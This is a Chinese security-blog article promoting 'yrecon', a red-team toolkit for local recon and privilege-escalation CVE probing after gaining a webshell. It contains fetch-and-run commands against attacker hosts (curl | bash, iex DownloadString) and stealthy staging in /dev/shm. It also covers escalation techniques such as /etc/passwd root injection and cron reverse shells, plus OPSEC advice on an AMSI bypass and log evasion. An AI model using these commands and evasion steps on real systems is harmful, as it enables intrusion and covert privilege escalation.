红队利器 yrecon:一行命令,14个模块,自动匹配提权CVE
原创
moresuo
moresuo
Hack分享吧
2026年9月22日 09:50
湖南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
| Ima知识库名称 | 加入条件 |
|---|---|
| 潇湘信安协同知识库(更新~ing!) | 免费加入 |
| 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 |
| 潇湘信安内部知识库(更新~ing!) | 星球成员 |
现在只对常读和星标公众号才展示大图推送,建议大家把“Hack分享吧”设为星标,否则可能看不到了!
yrecon 深度剖析:把信息收集做到\"提权导向\"的实战工具
项目地址:https://github.com/moresuo/yrecon
定位:内网信息收集 + 提权 CVE 探针
语言:Bash / PowerShell
适用场景:授权安全研究 / 红队评估 — webshell / 低权限 shell 后的本地侦察阶段
一、为什么需要 yrecon?
在红队评估和渗透测试的实战中,拿到一个 webshell 或低权限 shell 只是第一步。真正的挑战在于:如何在最短时间内从低权限突破到 root / SYSTEM?
传统做法是手动跑一堆命令——uname -a、id、sudo -l、find / -perm -4000、whoami /priv……每次都要重复,容易遗漏关键信息,而且耗时。
yrecon 的设计哲学很明确:
提权路径决定收集什么。
它不是无脑堆命令的\"信息收集脚本\",而是围绕权限提升这一核心目标,把每类信息的收集都映射到具体的提权路径上。拿到结果就能直接判断\"能不能打、怎么打\"。
PS C:\\> chcp 65001 | Out-Null; [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $OutputEncoding = [System.Text.Encoding]::UTF8; $wc = New-Object System.Net.WebClient; $wc.Encoding = [System.Text.Encoding]::UTF8; iex $wc.DownloadString('http://192.168.1.110/yrecon/winrecon.txt')
二、工具组成与设计哲学
2.1 双平台对称架构
| 工具 | 语言 | 目标平台 | 文件大小 | 形态 |
|---|---|---|---|---|
linrecon.sh |
Bash(POSIX 兼容) | Linux | ~52KB | 单文件,支持 curl | bash 内存执行 |
winrecon.ps1 |
PowerShell 5.1+ | Windows | ~19KB | 单文件,UTF-8 BOM,支持 iex(iwr) 内存执行 |
两个工具功能逻辑对称,输出风格统一——复刻 YSCAN 的 GitHub Dark 调色板 + 图标体系。这意味着:
- 学习成本低:学会一个,另一个自然就会用
- 输出可比对:同一目标上 Linux/Windows 双跑,输出格式一致,方便横向对比
- 维护成本低:两个脚本同步迭代,CVE 覆盖清单保持一致
2.2 单文件哲学
yrecon 选择单文件设计而非模块化目录结构,这在实战中有明确优势:
- 内存执行:
curl | bash或iex(iwr)一行命令完成部署,不落盘 - 传输简单:一个 HTTP 请求就能拉到完整工具
- 无依赖:不依赖额外的配置文件或库(除了系统自带工具)
三、执行模式与实战场景
3.1 三种通用执行模式
| 模式 | 适用场景 | 特点 | 隐蔽性 |
|---|---|---|---|
| 本地执行 | 自有机器测试 | 最简单,直接跑 | 无要求 |
| 内存执行 | 目标能出网 | 不落盘,curl|bash / iex(iwr) |
高 |
| 落盘 + 重定向 | webshell 后(推荐) | 解决输出截断、执行超时 | 中 |
3.2 webshell 场景:yrecon 的核心战场
webshell 命令执行有两个硬约束:
- 响应长度截断:nginx/apache 的 buffer 有限,长输出会被截断
- 执行超时:php 的
max_execution_time等限制会导致脚本被 kill
yrecon 的解法是落盘 + 重定向到文件 + 分段读:
Linux(www-data 权限):
# 落盘到内存盘(更隐蔽)+ 重定向
curl http://x/linrecon.sh -o /dev/shm/.x.sh
bash /dev/shm/.x.sh -m cve > /dev/shm/.out.txt 2>&1
# 分段读 / 只看高危
sed -n '1,100p' /dev/shm/.out.txt
grep '\\[!!\\]' /dev/shm/.out.txt # 等价:红色 ● 标记
# 清理
rm -f /dev/shm/.x.sh /dev/shm/.out.txt
Windows(IIS\_IUSRS 权限):
# 落盘到 Windows\\Temp(通用可写)+ 重定向
powershell -c \"(New-Object Net.WebClient).DownloadFile('http://x/winrecon.ps1','C:\\Windows\\Temp\\x.ps1')\"
powershell -ExecutionPolicy Bypass -File C:\\Windows\\Temp\\x.ps1 > C:\\Windows\\Temp\\o.txt 2>&1
# 读结果
findstr /C:\"●\" C:\\Windows\\Temp\\o.txt
del C:\\Windows\\Temp\\x.ps1 C:\\Windows\\Temp\\o.txt
分模块跑解决超时:software(Win)/ suid(Linux)扫描慢,单独跑;先跑 cve 快速看可打洞。
四、模块体系:14 个 Linux 模块 + 10 个 Windows 模块
4.1 linrecon.sh 模块详解
| 模块 | 检测命令 | 检测原理 | 对应提权路径 |
|---|---|---|---|
sysinfo |
uname / /etc/os-release / /proc/1/cgroup |
内核版本(喂给 CVE 探针)+ 容器环境初判 | 内核漏洞利用 |
userpriv |
id / sudo -n -l / [ -w /etc/passwd ] |
当前权限位、sudo 滥用面、关键文件可写性 | sudo 滥用 / passwd 注入 |
suid |
find / -perm -4000/-2000 |
SUID/SGID 文件,basename 对照 GTFOBins 列表自动标记 | SUID 滥用 |
caps |
getcap -r / 或 /proc/*/status CapEff |
capabilities 位,cap_setuid 等高危位高亮 |
Capabilities 滥用 |
cron |
/etc/crontab / /etc/cron.* |
定时任务可写性 + 内容 | Cron 劫持 |
services |
ps / ss -tulpn / /dev/tcp 探测 |
root 进程 + 监听端口 + 内部服务 | 内部服务未授权 |
fs |
[ -w ] / find / /etc/exports |
可写关键路径、PATH 劫持面、NFS 配置 | PATH 劫持 / NFS |
credz |
find id_rsa / grep password |
SSH 私钥、配置文件明文密码 | 凭证泄露横向 |
network |
ip / route / /etc/resolv.conf |
接口/路由/ARP/DNS,域信息 | 横向移动铺垫 |
container |
/.dockerenv / /proc/1/cgroup / CapEff |
容器逃逸面:Docker socket、特权容器 | 容器逃逸 |
cve |
uname -r + 版本区间匹配 |
内核/用户态/容器逃逸 CVE 三类探针 | CVE 利用 |
suggest |
综合以上结果 | 汇总提权建议 | — |
新增增强项(v2.0):
- sysinfo 扩展了
sysctl安全配置检测:ASLR 状态、ptrace\_scope、BPF 限制、KASLR(kptr\_restrict)、dmesg\_restrict、user.max\_user\_namespaces、mmap\_min\_addr 等——每一项都直接影响 exploit 可用性 - sysinfo 新增内核启动参数(
/proc/cmdline)检查,能发现启动参数中泄露的凭据或安全敏感项 - sysinfo 新增 LSM 状态检测(SELinux / AppArmor),判断 MAC 策略是否影响提权路径
- sysinfo 新增
lsmod检查,标记与 exploit 相关的内核模块(如nf_tables、overlay、vsock)
4.2 winrecon.ps1 模块详解
| 模块 | 检测 API/命令 | 检测原理 | 对应提权路径 |
|---|---|---|---|
sysinfo |
Get-CimInstance Win32_OperatingSystem |
OS/Build(喂给 CVE 探针)/补丁数 | 补丁缺失 CVE |
userpriv |
whoami /all |
特权令牌扫描:SeImpersonate->Potato、SeDebug->注入等 | Potato 系列 / 进程注入 |
services |
Get-CimInstance Win32_Service + 写测试 |
未引用路径 + 可写服务目录(实测写入) | 服务路径劫持 |
registry |
Get-ItemProperty 各键 |
AlwaysInstallElevated、AutoLogon 凭证、Run 自启 | MSI 提权 / 凭证提取 |
credz |
cmdkey / [IO.File]::ReadAllBytes(SAM) / vssadmin |
cmdkey 缓存、SAM 可读、卷影副本、unattended 文件 | 离线哈希破解 |
software |
Get-CimInstance Win32_Product 或注册表卸载键 |
已装软件版本,标记已知漏洞软件 | 第三方软件漏洞 |
av |
SecurityCenter2 / Get-MpComputerStatus / Get-MpPreference |
AV 识别、Defender 实时保护状态、排除路径 | 绕过 AV/EDR |
network |
ipconfig / Get-NetTCPConnection / Win32_ComputerSystem |
接口/端口/域成员 | 域内攻击(Kerberoasting/NoPAC/DCSync) |
cve |
Build + 补丁日期 + 特权组合 | Potato 推荐、PrintNightmare、HiveNightmare、NoPAC、win32k | CVE 利用 |
suggest |
综合以上结果 | 汇总提权建议 | — |
五、CVE 探针:从版本号到可利用性判断
5.1 版本解析与比较算法
Linux:uname -r 取内核版本(如 5.15.0-91-generic),grep -oE '^[0-9]+(\\.[0-9]+)*' 提取纯版本部分 5.15.0。
版本比较使用 Bash 函数 ver_lt():
ver_lt() {
local a=\"$(_ver \"$1\")\" b=\"$(_ver \"$2\")\"
[ -z \"$a\" ] || [ -z \"$b\" ] && return 1
[ \"$(printf '%s\
%s\
' \"$a\" \"$b\" | sort -V | head -1)\" = \"$a\" ] && [ \"$a\" != \"$b\" ]
}
原理:sort -V 做版本排序(按点分段数值比较),最小者排第一。若 a 是最小且 a≠b,则 a < b。
Windows:Build 号是整数,直接数值比较($build -lt 14393);版本号用 [System.Version]。
5.2 范围匹配逻辑
每个 CVE 定义受影响版本区间 [min, max),组合 !ver_lt(min)(不低于下限)与 ver_lt(max)(低于上限)判断:
# Dirty Pipe: 5.8 <= k < 5.16.11 (含 5.15.x / 5.10.x 回溯)
if ! ver_lt \"$kv\" 5.8 && (ver_lt \"$kv\" 5.16.11 || ...); then
high \"CVE-2022-0847 Dirty Pipe\"
fi
5.3 用户态 CVE 检测
不依赖内核版本,检测工具存在性与版本:
pkexec存在 → PwnKit(CVE-2021-4034,polkit 几乎全版本)sudo --version< 1.9.5p2 → Baron Samedit(CVE-2021-3156,参数转义堆溢出)
5.4 CVE 覆盖清单
Linux 内核 LPE
| CVE | 名称 | 影响版本 | 条件 | 来源 |
|---|---|---|---|---|
| CVE-2016-5195 | Dirty COW | 2.6.22-4.8.3 | 竞态写 | 经典 |
| CVE-2019-13272 | ptrace | <5.1.17 | pkexec | 经典 |
| CVE-2021-22555 | netfilter | <5.12 | — | 经典 |
| CVE-2022-0847 | Dirty Pipe | 5.8-5.16.10 | 覆写只读文件 | 经典 |
| CVE-2023-0386 | OverlayFS | <6.2 | userns | 经典 |
| CVE-2024-1086 | nf\_tables UAF | 5.14-6.6 | userns | 经典 |
| CVE-2024-0646 | nft\_verdict | <6.6.8 | x86\_64 | 经典 |
| CVE-2026-31431 | Copy Fail | 4.14-6.19.x(多分支) | AF\_ALG 自检通过 | poc-lab |
| CVE-2026-46331 | act\_pedit | 5.18-7.1-rc7 | userns+CAP\_NET\_ADMIN+act\_pedit | poc-lab |
| CVE-2026-31635 | DirtyDecrypt | 6.16.1-6.18.23 等 | CONFIG\_RXGK(Fedora/Arch/openSUSE) | poc-lab |
| CVE-2026-43284 | Dirty Frag (ESP) | >=4.11 | userns+CAP\_NET\_ADMIN+esp4 | poc-lab |
| CVE-2026-53359 | Januscape | 2.6.36-6.18 | KVM 宿主 / /dev/kvm 0666 |
poc-lab |
| CVE-2026-31429 | Slab Cross-Cache | 6.3-7.0-rc | BPF\_PROG\_LOAD(多需 root) | poc-lab |
Linux 用户态 LPE
| CVE | 名称 | 条件 |
|---|---|---|
| CVE-2021-4034 | PwnKit | pkexec 几乎全版本 |
| CVE-2021-3156 | Baron Samedit | sudo <1.9.5p2 |
| CVE-2019-14287 | sudo -u#-1 | sudo <1.8.28 |
Linux 信息泄露(可间接提权)
| CVE | 名称 | 说明 | 来源 |
|---|---|---|---|
| CVE-2026-46333 | pidfd\_getfd FD 盗读 | 读 /etc/shadow/SSH host key,离线破解 |
poc-lab |
Windows 提权
- SeImpersonate → Potato 系列(JuicyPotato / RoguePotato / PrintSpoofer / GodPotato)
- PrintNightmare(CVE-2021-1675)、HiveNightmare(CVE-2021-36934)、NoPAC、win32k 系列
- AlwaysInstallElevated、未引用服务路径、可写服务、AutoLogon、WSUS
重点项 — Copy Fail(CVE-2026-31431):版本矩阵最完整、条件最通用(
CONFIG_CRYPTO_USER_API_AEAD几乎全发行版默认开启),脚本内置 AF\_ALG 自检(python3 -c \"import socket; socket.socket(38,5,0)\")确认可利用性。
5.5 已知局限与诚实标注
yrecon 在 CVE 探针上有一个非常重要的设计原则:诚实标注局限性。
- 发行版回溯补丁误报:RHEL/Ubuntu 常把补丁回溯到老版本号(如 Ubuntu 5.15.0-91 已含 Dirty Pipe 修复,但版本号仍在受影响区间)。脚本标\"可能存在\",实战需 PoC 实测。
- 粗筛性质:Build 号只判大版本区间,不精确到具体 KB。Windows 探针用\"最近补丁日期\"辅助,但仍粗。
- CVE 覆盖有限:脚本只内置高频通用 CVE,新 CVE 需手工补充。
这种诚实标注避免了\"探针说有就一定有\"的误判,提醒使用者验证而非盲信。
六、提权路径映射:从信息到行动
yrecon 最有价值的设计是将每类收集信息直接映射到提权路径。下面是完整的映射关系。
6.1 Linux 提权路径 → 收集项
| 提权路径 | 收集项 | 原理 |
|---|---|---|
| 内核漏洞 | uname -r 内核版本 |
内核 CVE 有版本区间,匹配后用对应 PoC(如 Dirty Pipe 5.8-5.16.10) |
| SUID 滥用 | find / -perm -4000 |
SUID 位使执行者获得文件 owner 权限;若 owner=root 且二进制可滥用(如 nmap/vim/find),对照 GTFOBins 提权 |
| sudo 配置缺陷 | sudo -n -l |
sudoers 规则若允许无密码执行某命令,且该命令可逃逸(如 sudo find 可 -exec),直接提权 |
| Capabilities | getcap -r / |
cap_setuid 可直接置 uid=0;cap_dac_override 绕文件权限;比 SUID 更细粒度,常被忽视 |
| 定时任务可写 | /etc/crontab 等 |
root 执行的 cron 脚本若可写,写入反弹 shell 即获 root |
| 可写 /etc/passwd | [ -w /etc/passwd ] |
passwd 可写则可注入 user::0:0::/root:/bin/bash 直接造 root 账户 |
| PATH 劫持 | $PATH 可写目录 |
root 调用无绝对路径命令时,若 PATH 前段可写,放入同名恶意脚本被执行 |
| NFS no\_root\_squash | /etc/exports |
该选项让 NFS 客户端以 root 身份写文件,本地挂载后可写 setuid 程序 |
| Docker 组成员 | id 含 docker 组 |
docker 组用户可 docker run -v /:/mnt 挂载宿主根目录,直接 chroot 提权 |
| 凭证泄露 | .bash_history 、配置文件、id_rsa |
管理员历史命令/配置明文密码/SSH 私钥 → 横向到 root |
6.2 Windows 提权路径 → 收集项
| 提权路径 | 收集项 | 原理 |
|---|---|---|
| 补丁缺失 | Get-HotFix + BuildNumber |
按 Build 号筛 + 补丁日期判断,缺补丁对应 CVE(PrintNightmare/HiveNightmare) |
| SeImpersonate | whoami /priv |
服务账户常有此权限;Potato 系列通过骗取 SYSTEM 进程连接触发 NTLM 认证,拿到 SYSTEM 令牌并 Impersonate 提权 |
| SeDebug | whoami /priv |
可打开任意进程(含 SYSTEM),CreateRemoteThread 注入 winlogon.exe 提权 |
| 未引用服务路径 | Win32_Service.PathName |
路径含空格无引号时,Windows 逐级尝试解析(如 C:\\Program Files\\svc → C:\\Program.exe),上游目录可写则劫持 |
| 可写服务目录 | 实测写测试文件 | 服务二进制所在目录可写 → 替换 exe → 启动服务获 SYSTEM |
| AlwaysInstallElevated | 注册表双键值 | 该策略=1 时,msi 安装以 SYSTEM 身份执行,任意用户 msiexec /i evil.msi 即提权 |
| AutoLogon 凭证 | Winlogon 注册表 |
AutoAdminLogon=1 时,DefaultPassword 明文存于注册表 |
| SAM 可读 | 实测 ReadAllBytes(SAM) |
SAM/SYSTEM 可读 + 卷影副本存在 → 离线拿本地哈希(HiveNightmare CVE-2021-36934) |
| cmdkey 缓存 | cmdkey /list |
缓存凭据可用 runas /savecred 以其他用户身份执行 |
| WSUS HTTP | WindowsUpdate 注册表 |
WSUS 走 HTTP 且 UseWUServer=1 → 中间人投递恶意更新(PyWSUS) |
| Defender 排除路径 | Get-MpPreference |
排除目录可放 payload 绕检测 |
七、输出体系:YSCAN 风格的可视化设计
7.1 配色方案
yrecon 复刻了 YSCAN 的 GitHub Dark 调色板,使用 ANSI TrueColor 精确还原:
| 颜色 | Hex | ANSI 转义码 | 语义 |
|---|---|---|---|
| 粉 | #f778ba |
\\033[1;38;2;247;120;186m |
模块标题 ✦ / 完成 ✓ |
| 绿 | #3fb950 |
\\033[1;38;2;63;185;80m |
普通发现 ● |
| 红 | #f85149 |
\\033[1;38;2;248;81;73m |
高危 ● |
| 橙 | #d2991d |
\\033[1;38;2;210;153;29m |
警告 ⚠ |
| 蓝 | #58a6ff |
\\033[1;38;2;88;166;255m |
信息 -> |
| 紫 | #a371f7 |
\\033[1;38;2;163;113;247m |
子标题 ▸ / 高亮值 |
| 灰 | #8b949e |
\\033[38;2;139;148;158m |
次要信息 └─ |
7.2 图标语义体系
| 图标 | 颜色 | 语义 | 优先级 |
|---|---|---|---|
✦ |
粉 | 模块标题 | — |
-> |
蓝 | 信息项 / key-value 引导 | — |
● |
绿 | 普通发现(可关注) | 低 |
● |
红 | 高危提权向量 (优先利用) | 最高 |
⚠ |
橙 | 警告(需评估) | 中 |
▸ |
紫 | 子标题/分组 | — |
✓ |
粉 | 完成 | — |
└─ |
灰 | 缩进的补充说明(PoC/解释) | — |
7.3 输出示例
✦ 提权 CVE 探针 <- 模块标题(粉)
-> 内核版本 : 5.15.0 <- key-value(蓝-> / 灰key / 紫值)
▸ 内核级 CVE <- 子标题(紫)
● CVE-2022-0847 Dirty Pipe <- 高危(红●)
PoC: 覆写 /etc/passwd <- 补充(灰)
✓ recon 完成 <- 完成(粉)
优先级规则:红 ● > 橙 ⚠ > 绿 ●。实战先打红项。
终端不支持 TrueColor 时降级为默认色,图标仍可辨识。
八、安全配置深度检测(v2.0 增强)
linrecon v2.0 的 sysinfo 模块新增了内核安全配置深度检测,这是同类工具中少见的:
8.1 sysctl 安全参数
| 参数 | 检测内容 | 提权影响 |
|---|---|---|
kernel.yama.ptrace_scope |
ptrace 限制 | =0 时任意进程可被注入,exploit 限制小 |
kernel.unprivileged_bpf_disabled |
BPF 权限 | =0 时 BPF exploit 可用(CVE-2020-8835 等) |
kernel.kptr_restrict |
内核地址泄露 | ≠0 时 KASLR 绕过受限,需信息泄露配合 |
kernel.dmesg_restrict |
dmesg 权限 | =1 时内核地址泄露受限 |
kernel.randomize_va_space |
ASLR | =0 时所有 exploit 可稳定利用 |
user.max_user_namespaces |
用户命名空间 | =0 时依赖 user ns 的 CVE 不可用 |
vm.mmap_min_addr |
NULL 页映射 | >65536 时 NULL page 映射受限 |
fs.protected_symlinks/hardlinks |
符号链接保护 | 影响符号链接攻击面 |
dev.tty.legacy_tiocsti |
TTY 注入 | 可用于键盘输入注入 |
8.2 LSM 与启动参数
- SELinux/AppArmor:检测 MAC 策略是否影响提权路径
/proc/cmdline:检查启动参数中的安全敏感项(selinux=0、init=/bin/sh)和可能的凭据泄露
8.3 内核模块
检查 lsmod 输出,标记与 exploit 相关的内核模块(如 nf_tables 对应 CVE-2024-1086、overlay 对应 OverlayFS CVE、vsock 对应 vsock exploit)。
九、OPSEC:操作安全注意事项
yrecon 在 README 中明确列出了 OPSEC 注意事项,这在同类工具中非常少见且极为重要:
9.1 落盘位置选择
| 平台 | 推荐路径 | 原因 |
|---|---|---|
| Linux | /dev/shm |
内存盘,不落磁盘取证 |
| Windows | C:\\Windows\\Temp |
通用可写目录 |
命名应伪装(如 .x.sh),避免明显的工具名。
9.2 输出截断处理
webshell 响应有长度限制,务必重定向到文件再分段读,勿直接回灌 HTTP 响应。
9.3 执行超时
software/suid 慢,分模块跑;先 cve 快速定方向。
9.4 日志痕迹
| 平台 | 主要日志 |
|---|---|
| Linux | ~/.bash_history (www-data 通常不写)、webshell access log |
| Windows | PowerShell Script Block Logging(4104 事件)、Sysmon、Windows PowerShell 事件日志 |
9.5 PowerShell 特殊处理
- 编码:
winrecon.ps1必须保持 UTF-8 with BOM(PS 5.1 默认按 GBK 读无 BOM 文件,中文会报语法错)。重新分发勿转码。 - AMSI bypass:winrecon 头部内嵌反射 AMSI bypass(老版够用,新版 EDR 需 patch)。
- CLM 检测:若检测到约束语言模式(CLM),
.NET调用受限,部分模块降级,需先绕 CLM。 - AV/EDR:winrecon 含提权探测特征,本机 Defender 可能拦。测试时加排除路径或注释 AMSI bypass 段。
十、快速上手
10.1 Linux
# 全量收集 + CVE 探针
bash linrecon.sh
# 指定模块(逗号或空格分隔)
bash linrecon.sh -m cve
bash linrecon.sh -m sysinfo,userpriv,cve
# 排除指定模块
bash linrecon.sh -M cve,fs
# 安静模式(纯文本无颜色,适合管道处理)
bash linrecon.sh -q
# 输出到文件
bash linrecon.sh -o /tmp/recon.out
# 内存执行(需出网)
curl http://attacker/linrecon.sh | bash
# 帮助
bash linrecon.sh -h
10.2 Windows
# 本地执行(绕过执行策略)
powershell -ExecutionPolicy Bypass -File winrecon.ps1
# 内存执行(需出网)
iex(iwr http://attacker/winrecon.ps1 -UseBasicParsing)
# 指定模块(dot-source + Invoke-All)
. .\\winrecon.ps1; Invoke-All -Modules cve
. .\\winrecon.ps1; Invoke-All -Modules sysinfo,userpriv,cve
十一、扩展:自定义 CVE 和输出风格
11.1 添加新 Linux CVE
在 m_cve() 内按版本区间仿写:
if ver_lt \"$kv_\" 6.X && ! ver_lt \"$kv_\" 6.Y; then
high \"CVE-XXXX-YYYY 名称 (范围) - 说明\"
indent \"PoC: ...\"
fi
11.2 添加新 Windows CVE
在 Invoke-CVE 内按 Build 仿写:
if ($build -ge XXXXX -and $build -lt YYYYY) {
W-Warn \"CVE-XXXX-YYYY 说明\"
}
11.3 修改输出风格
颜色变量集中在文件顶部(C_* / $script:C_*),改 TrueColor RGB 即可换主题。图标在输出函数(ok/high/warnx / W-Ok/W-High/W-Warn)里。
十二、与同类工具的对比
| 特性 | yrecon | LinPEAS | WinPEAS | linux-exploit-suggester |
|---|---|---|---|---|
| 平台覆盖 | Linux + Windows | 仅 Linux | 仅 Windows | 仅 Linux |
| CVE 探针 | 内核 + 用户态 + 2026 新 CVE | 无 | 无 | 内核 |
| 提权路径映射 | 有(每条信息映射到提权路径) | 部分 | 部分 | 无 |
| 内存执行 | 支持 | 需改造 | 需改造 | 支持 |
| 输出风格 | YSCAN GitHub Dark | 彩色 | 彩色 | 纯文本 |
| 单文件 | 是 | 是 | 是 | 是 |
| sysctl 安全配置 | 详细检测 | 有 | — | 无 |
| 容器逃逸检测 | 有 | 部分 | 无 | 无 |
| OPSEC 指导 | 有 | 无 | 无 | 无 |
| 2026 新 CVE | 6 个 | 无 | 无 | 无 |
| 模块化选择 | 14 个模块可选 | 无 | 无 | 无 |
yrecon 的核心差异化在于:
- 双平台对称:一套工具覆盖 Linux + Windows,学习成本低
- 提权导向:不是无脑收集,而是每条信息都映射到具体提权路径
- 2026 新 CVE 覆盖:包含 poc-lab 最新 CVE(Copy Fail、act\_pedit、DirtyDecrypt 等)
- 模块化执行:14 个模块可自由组合,webshell 场景下分模块跑避免超时
- OPSEC 意识:内置 AMSI bypass、CLM 检测、落盘位置建议
十三、文件清单
yrecon/
├── linrecon.sh Linux 信息收集 + CVE 探针(Bash, ~52KB)
├── winrecon.ps1 Windows 信息收集 + CVE 探针(PowerShell, ~19KB, UTF-8 BOM)
└── README.md 项目文档
十四、实战使用建议
14.1 标准流程
- 拿到 webshell/低权限 shell 后,先跑
cve模块快速定方向 - 根据系统类型选择全量收集或分模块跑
- 优先关注输出中的红色
●标记(高危提权向量) - 对 CVE 探针结果,验证发行版是否已回溯补丁
- 利用提权路径映射表,找到具体可利用的路径
14.2 webshell 场景最佳实践
- 落盘到内存盘(Linux:
/dev/shm,Windows:C:\\Windows\\Temp) - 重定向输出到文件,分段读取
- 先跑快的模块(
cve、sysinfo),慢的(suid、software)单独跑 - 用完清理:删除脚本和输出文件
14.3 CVE 验证
yrecon 的 CVE 探针是粗筛,不是精确判断。对于探针报告的可能 CVE:
- 查发行版 changelog 确认是否已回溯补丁
- 用对应 PoC 实测(非生产环境)
- 结合 sysctl 安全配置判断 exploit 可用性(ASLR、userns、BPF 等)
免责声明
本工具集仅供授权安全研究与红队评估使用。在未取得书面授权的目标上使用本工具集中的任何功能均属违法。作者不对任何滥用行为承担责任。使用者需确保遵守当地法律法规,并承担相应责任。
知 识 星 球
星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S\_3had0w,等你一起来学习...!
| Ima知识库名称 | 加入条件 |
|---|---|
| 潇湘信安协同知识库(更新~ing!) | 限时免费 |
| 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 |
| 潇湘信安内部知识库(更新~ing!) | 星球成员 |
往期推荐工具
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论